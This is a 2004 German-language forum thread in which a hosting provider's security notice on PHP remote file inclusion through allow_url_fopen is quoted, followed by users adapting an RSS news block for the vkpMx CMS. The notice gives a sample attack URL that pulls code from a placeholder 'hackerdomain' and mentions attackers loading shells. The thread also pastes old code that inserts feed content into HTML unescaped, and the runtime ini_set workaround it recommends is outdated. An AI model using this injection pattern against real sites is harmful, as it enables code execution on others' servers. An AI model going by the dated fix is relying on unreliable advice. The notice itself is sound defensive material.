fopen (), require(), include() funktionen !!!

Begonnen von bradersim, 04 Januar 2004, 14:13:08

⏪ vorheriges - nächstes ⏩

0 Mitglieder und 1 Gast betrachten dieses Thema.

bradersim

Ich habe das unten aufgeführte Schreiben von meinem Provider erhalten ! Nun würde ich gerne wissen, inwieweit Vkp Mx 2.1 davon betroffen ist?
 
________________________________________________________

Sehr geehrter Kunde,

nachfolgende Informationen sind für Sie relevant, wenn Sie im Rahmen
Ihrer WebSite PHP-Scripts einsetzen, die URLs in den IO-Funktionen von
PHP verwenden. Also z.B. in fopen(), require(), file() und include().


O== BEISPIEL:

fopen("http://ihredomain.de","r");

Bitte beachten Sie, dass diese Funktionen auch standardmaessig in eine
Reihe von frei erhaeltlichen PHP-Foren, PHP-Boards, PHP-Shop-Systeme,
Content-Management-Systeme usw. eingebunden sind und updaten Sie
Ihre Anwendungen auf die neuesten, verfuegbaren Versionen!



O== NICHT BETROFFEN:

Sollten Sie lediglich folgende Variante benutzen:
fopen("/home/user/test-file","r");
oder http, ftp, https-Urls über fsockopen-Operationen öffnen, sind diese
Informationen für sie nicht von Relevanz!


Bitte beachten Sie, dass die u.a. Aenderungen am Mittwoch, 14.01.2004
in Kraft treten!



O========= INHALTSUEBERSICHT ==========O

O=====(1.) SICHERHEITSLOECHER DURCH FOPEN
O=====(2.) DIE FOLGEN FUER SIE
O=====(3.) WAS WERDEN WIR AENDERN?
O=====(4.) WAS MUESSEN SIE AENDERN?
O=====(5.) HINWEISE FUER FOREN-/BOARD-BETREIBER
O=====(6.) HINWEISE FUER RESELLER





O==(1) SICHERHEITSLOECHER DURCH FOPEN-URL-WRAPPER ==O

Auf unseren ServerSystemen ist es derzeit über die meisten
PHP-IO-Funktionen (fopen,require,include) moeglich, http, https und
ftp-urls zu öffnen. Bei diversen anfälligen PHP-Scripts fuehrt dies zur
Moeglichkeit Programme mit den Rechten des Users auszufuehren.

Probleme entstehen vor allem bei der Benutzung von Variablen in include
und require-Funktionen.

Findet sich in einem PHP-Script z.B. folgender Code:

require ("$file");

kann dies zur Ausführung von fremden Code im PHP-Script führen.
Dabei geht der Angreifer wie folgt vor: Das PHP-Script wird in einer
speziell ausgestalteten URL aufgerufen. Im Beispiel des o.a.
Scripts koennte dies z.B. wie folgt aussehen:

http://domain.de/script.php?file=http://hackerdomain.com/php-code.txt

Da bei der derzeitigen Konfiguration von PHP auf unseren Servern alle
POST und GET-Variablen global definiert werden, liest PHP nun die URL
http://hackerdomain.com/php-code.txt ein und fuehrt den enthaltenen Code
aus.

Die URL koennte z.B. folgenden Code enthalten:

<?
print "It worked ... let's have phun";
?>

Anstelle des prints wird der Angreifer im Regelfall selbstverstaendlich
Routinen implementieren, mit denen er aus dem Internet Shells laedt,
ueber die er dann beliebige Programme mit den Rechten ihres Benutzers
ausfuehren kann!





O=========(2.) DIE FOLGEN FUER SIE ==========O

Hat ein Angreifer auf ueber den o.a. Weg Zugang zu Ihrer Praesenz
erlangt, hat er die volle Kontrolle über alle Inhalte, d.h. er kann mit
IHREN Benutzerrechten:

- Ihre Daten lesen und so ggf. Zugangsdaten zu ihrer Datenbank auslesen,
- alle Inhalte manipulieren/loeschen,
- jegliche Logins per ftp usw. herstellen, Mails versenden, manipulieren,
- Programme installieren und ausfuehren usw.

und damit ggf. erheblichen Schaden auch auf anderen Servern oder
Praesenzen anrichten. Der Angriff geht dabei fuer die weiteren
Geschaedigten von IHREM Host aus!




O=======(3.) WAS WERDEN WIR AENDERN? =======O

Aufgrund der gehaeuften Probleme mit den o.a. Sicherheitsloechern
werden wir bereits ab Mi. 14.01.03 serverseitig den fopen-url wrapper
deaktivieren!

Sie haben jedoch die Option ihn bei Bedarf in Ihren Scripts wieder zu
aktivieren aktivieren. (s.u.)

Wir bitten um Verstaendnis fuer die kurze Vorlaufzeit. Die aktuelle
Entwicklung
gebietet allerdings ein rasches Handeln!




O========(4.) WAS MUESSEN SIE AENDERN? =======O

Sollten Sie keine http, https oder ftp-urls in den IO-Funktionen verwenden
aendert sich für Sie nichts!

Sollten Sie solche oder aehnliche URLs verwenden,

fopen("http://ihredomain.de","r");
include("http://ihredomain.de");

muessen Sie, um die Funktion weiter funktionstuechtig zu halten,
den Code wie folgt aendern:

ini_set("allow_url_fopen","1");
fopen("http://ihredomain.de","r");
include("http://ihredomain.de");
ini_set("allow_url_fopen","0");

Bitte aktivieren Sie die url-Wrapper NICHT global sondern nur an den
benoetigten Stellen und achten Sie bei include und require darauf,
keine ungeprueften Variablen zu includieren.

Sollten Sie Dateien auf dem lokalen System includieren aendert sich
fuer Sie nichts und sie muessen die url-wrapper auch nicht aktivieren!

Aufgrund unserer Erfahrung zeigt sich, daß nur sehr wenige Scripts
einer Anpassung beduerfen, da in der Regel nur lokale Dateien gelesen
bzw. includiert werden.





O===(5.) HINWEISE FUER FOREN-/BOARD-BETREIBER ===O

Ggf. haben Sie selbst keine PHP-Scripts oder -Routinen entwickelt,
verwenden aber im Rahmen Ihrer Internetpraesenz ein (frei erhaeltliches)
PHP-Forum, PHP-Board, PHP-Shop-System, Content-Managementsystem
oder eine aehnliche Anwendung (ggf. inkl. entsprechender Upload-Routinen
usw.)

Bitte vergewisseren Sie sich umgehend, ob Sie auf der WebSite der Entwickler

Ihrer PHP-Software ggf. Updates oder Sicherheitspatches fuer die von Ihnen
eingesetzte(n) Anwendung(en) finden koennen und bringen Sie Ihre Software
auf den neuesten Stand!

Bitte unterschaetzen Sie NICHT die Gefahr, die von fahrlaessig eingesetzten,

veralteten PHP-Scripts, fuer Sie und andere, ausgeht!



[Editiert am 4/1/2004 von DarkBoy]

Andi

Hi bradersim :)

normalerweise dürften keine Probleme entstehen. HTTP-URL's werden im vkpMx nicht includet oder geöffnet.

Allein bei der Verwendung der RSS-Files (backend.php) und dem Download- bzw. Link-Check, kann es evtl. haken. Werden wir ja dann sehen und ggf. eine Lösung finden.
schön´s Grüssle, Andi

tequila

Nein, vkpMx ist davon definitiv nicht betroffen ....

bradersim

danke für eure antworten. nun bin ich beruhigt :-)

webhilfe

Moin Moin,

 
ZitatTora
Allein bei der Verwendung der RSS-Files (backend.php) und dem Download- bzw. Link-Check, kann es evtl. haken. Werden wir ja dann sehen und ggf. eine Lösung finden.

fopen ist bei uns abgeschaltet und die Internet News funktionieren in der neuen vkpMX 2.1 nicht.

Hat jemand schon eine Lösung?

jubilee

Hallo !
Einzige potentielle Fehlerquelle ist die Datei:
modules/Web_News/index.php
Da mal bitte diesen Abschnitt (ab Zeile 80)
 
Zitatelse
      {
         
         $ft = @fopen($headlinesurl,  "r");
         if ( $ft )   { $items = implode( '', file($headlinesurl)); }
 
so abändern:
 
Zitatelse
      {
         ini_set("allow_url_fopen","1");
         $ft = @fopen($headlinesurl,  "r");
         if ( $ft )   { $items = implode( '', file($headlinesurl));
         ini_set("allow_url_fopen","0");}
         
MfG
jubilee

[Editiert am 2/2/2004 von jubilee]

webhilfe

@jubilee

Super, hat alles prima funktioniert!

Danke dir für die schnelle Antwort!

Gruss
Michael

Andi

 :D  :)  feinerle

hmm, sollten wir evtl. gleich mit in das Modul einbauen....
schön´s Grüssle, Andi

jubilee

Hallo !
 
Zitathmm, sollten wir evtl. gleich mit in das Modul einbauen....
 
Bestätige.
Baust Du es ein, oder soll ich machen?
Mfg
jubilee

Andi

 
ZitatBaust Du es ein, oder soll ich machen?

Hi :)

schon drin   :yltype:  
schön´s Grüssle, Andi

bradersim

kann jemand der news-block von jubilee wieder funktionstüchtig machen? news aus tagesschau, heise und n24 waren eine super gute kombination, was ich jetzt sehr vermisse ...

[Editiert am 3/2/2004 von bradersim]

Andi

Hi bradersim :)

das müsste eigentlich genauso funktionieren. Vor dem Befehl fopen() mit ini_set die Option einschalten, danach wieder aus.

ini_set("allow_url_fopen","1");
$variable = @fopen($urlzuheissedeodersonstwasdasteht, "r");
ini_set("allow_url_fopen","0");}
schön´s Grüssle, Andi

bradersim

wo und wie müssen die variablen eingebettet werden?


if (eregi("block-rdf.php", $PHP_SELF)) {
    Header("Location: index.php");
    die();
}


$rdfsource = "http://www.n24.de/rss/?rubrik=nachrichten"; #quelle der RDF-Datei
$rdfsource2= "http://www.tagesschau.de/newsticker.rdf";   #source of rdf-file
$rdfsource3= "http://www.heise.de/newsticker/heise.rdf";
$rdfname1  = "N24";     # News-Feed-Name
$rdfname2  = "Tagesschau"; # news-feed name for display
$rdfname3  = "Heise";
$homelink1 = "http://www.n24.de/";  #Newsfeed-Webadresse
$homelink2 = "http://www.tagesschau.de/";#Newsfeed Homelink
$homelink3 = "http://www.heise.de/";
$scrollen  = 1;    #1 ein, 0 aus   // srolling 1=on 0 =off
$richtung  = "up"; # Richtug/Direction up down left oder right  wenn/if $scrollen=1
$speed     = 3;    # scrollgeschwindigkeit wenn / scrollig speed if $scrollen=1
$warte     = 10;   # scrollverzögerung wenn / scroll delay if $scrollen=1


If (($richtung=="left") or ($richtung=="right")){
   $hoehe=20;
   $waagerecht= 1;}
else{
   $hoehe=200;
   $waagerecht= 0;}

ini_set("allow_url_fopen","1");
$variable = @fopen($urlzuheissedeodersonstwasdasteht, "r");
ini_set("allow_url_fopen","0");}

If ($waagerecht==0)
        {
        If ($scrollen==1)
        {
        $content = " <A name= \"scrollingCode\"></A><MARQUEE behavior= \"scroll\" align= \"center\" direction= \"".$richtung."\" height=\"".$hoehe."\" scrollamount= \"".$speed."\" scrolldelay= \"".$warte."\" onmouseover='this.stop()' onmouseout='this.start()'>";
      }
        else
        {
        $content="";
        }
        $content .= "-.-.-. <b>".$rdfname1." NEWS</b> .-.-.-<br><br>\n\n";
        $quelle= @file($rdfsource);
        If ($quelle){
        $data = implode ("", $quelle);
      preg_match_all("|<item>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);
      If (count($items[1])==0) {
      preg_match_all("|<item .*>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);}
      for ($i=0;$i<count($items[1]);$i++)
      {
        preg_match_all("|<title>(.*)</title>(.*)(.*)|Uism",$items[1][$i], $regs, PREG_PATTERN_ORDER);
        $content .="<a href=\"".$regs[3][0]."\" target='_blank'>".$regs[1][0]."</a><br><br>\n\n";
      }
      $content .="<a href=\"".$homelink1."\" target='_blank' >mehr ...</a><br><br>\n\n";
      }
    If (!$rdfsource2==""){
        $content .= "-.-.-. <b>".$rdfname2." News</b> .-.-.-<br><br>\n\n";
        $quelle= @file($rdfsource2);
        If ($quelle){
        $data = implode ("",$quelle);
        preg_match_all("|<item>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);
      If (count($items[1])==0) {
      preg_match_all("|<item .*>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);}
      for ($i=0;$i<count($items[1]);$i++)
      {
        preg_match_all("|<title>(.*)</title>(.*)(.*)|Uism",$items[1][$i], $regs, PREG_PATTERN_ORDER);
        $content .="<a href=\"".$regs[3][0]."\" target='_blank'>".$regs[1][0]."</a><br><br>\n\n";
      }
      $content .="<a href=\"".$homelink2."\" target='_blank' >mehr ...</a><br><br>\n\n";
      }
      }
    If (!$rdfsource3==""){
        $content .= "-.- <b>\"".$rdfname3."\" NEWS</b> -.-<br><br>\n\n";
        $quelle= @file($rdfsource3);
        If ($quelle){
        $data = implode ("", $quelle);
      preg_match_all("|<item>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);
      If (count($items[1])==0) {
      preg_match_all("|<item .*>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);}
      for ($i=0;$i<count($items[1]);$i++)
      {
        preg_match_all("|<title>(.*)</title>(.*)(.*)|Uism",$items[1][$i], $regs, PREG_PATTERN_ORDER);
        $content .="<a href=\"".$regs[3][0]."\" target='_blank'>".$regs[1][0]."</a><br><br>\n\n";
      }
      $content .="<a href=\"".$homelink3."\" target='_blank' >mehr ...</a><br><br>\n\n";
      }
        $content .="<a href=\"http://www.marx-city.de\" target='_blank'>(c) jubilee</a><br><br>";
      }

      }
   else
      {
        if ($scrollen==1)
      {
         $content = " <A name= \"scrollingCode\"></A><MARQUEE behavior= \"scroll\" align= \"center\" direction= \"".$richtung."\" height=\"".$hoehe."\" scrollamount= \"".$speed."\" scrolldelay= \"".$warte."\" onmouseover='this.stop()' onmouseout='this.start()'>";
      }
      else
      {
         $content = "";
      }
      $content .="-------- <b>".$rdfname1."</b> NEWS ----------  **  ";
      $quelle= @file($rdfsource);
        If ($quelle){
        $data = implode ("", $quelle);
      preg_match_all("|<item>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);
      If (count($items[1])==0) {
      preg_match_all("|<item .*>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);}
      for ($i=0;$i<count($items[1]);$i++)
      {
        preg_match_all("|<title>(.*)</title>(.*)(.*)|Uism",$items[1][$i], $regs, PREG_PATTERN_ORDER);
        $content .="<a href=\"".$regs[3][0]."\" target='_blank'>".$regs[1][0]."</a>  **  ";
      }
      $content .="<a href=\"".$homelink1."\" target='_blank' >mehr ...</a>  **  ";
        }
    if (!$rdfsource2=="")
    {
        $content .="-------- <b>".$rdfname2."</b> NEWS ----------  **  ";
      $quelle= @file($rdfsource2);
        If ($quelle){
        $data = implode ("", $quelle);
      preg_match_all("|<item>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);
      If (count($items[1])==0) {
      preg_match_all("|<item .*>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);}
      for ($i=0;$i<count($items[1]);$i++)
      {
        preg_match_all("|<title>(.*)</title>(.*)(.*)|Uism",$items[1][$i], $regs, PREG_PATTERN_ORDER);
        $content .="<a href=\"".$regs[3][0]."\" target='_blank'>".$regs[1][0]."</a>  **  ";
      }
      $content .="<a href=\"".$homelink2."\" target='_blank' >mehr ...</a>  **  ";
   }
   }
    if (!$rdfsource3=="")
    {
        $content .="-------- <b>".$rdfname3."</b> NEWS ----------  **  ";
      $quelle= @file($rdfsource3);
        If ($quelle){
        $data = implode ("", $quelle);
      preg_match_all("|<item>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);
      If (count($items[1])==0) {
      preg_match_all("|<item .*>(.*)</item>|Uism",$data, $items, PREG_PATTERN_ORDER);}
      for ($i=0;$i<count($items[1]);$i++)
      {
        preg_match_all("|<title>(.*)</title>(.*)(.*)|Uism",$items[1][$i], $regs, PREG_PATTERN_ORDER);
        $content .="<a href=\"".$regs[3][0]."\" target='_blank'>".$regs[1][0]."</a>  **  ";
      }
      $content .="<a href=\"".$homelink3."\" target='_blank' >mehr ...</a>  **  ";
      }
      $content .="<a href=\"http://www.marx-city.de\" target='_blank'>(c) jubilee</a>  ";
   }

}
?>

jubilee

Hallo !
Das :
 
Zitatini_set("allow_url_fopen","1");
$variable = @fopen($urlzuheissedeodersonstwasdasteht, "r");
ini_set("allow_url_fopen","0");}
 
Wieder raus.
Und dann entweder bei jeden
 
Zitat$quelle= @file($rdfsource [1, 2, 3 etc...] );
 
das machen :
 
Zitatini_set("allow_url_fopen","1");
$quelle= @file($rdfsource [1, 2, 3 etc...] );
ini_set("allow_url_fopen","0");
Oder pauschal am Anfang (nach < php
ini_set("allow_url_fopen","1");
und am ende vor ?>
ini_set("allow_url_fopen","0");

MfG
jubilee


[Editiert am 5/2/2004 von jubilee]

[Editiert am 5/2/2004 von jubilee]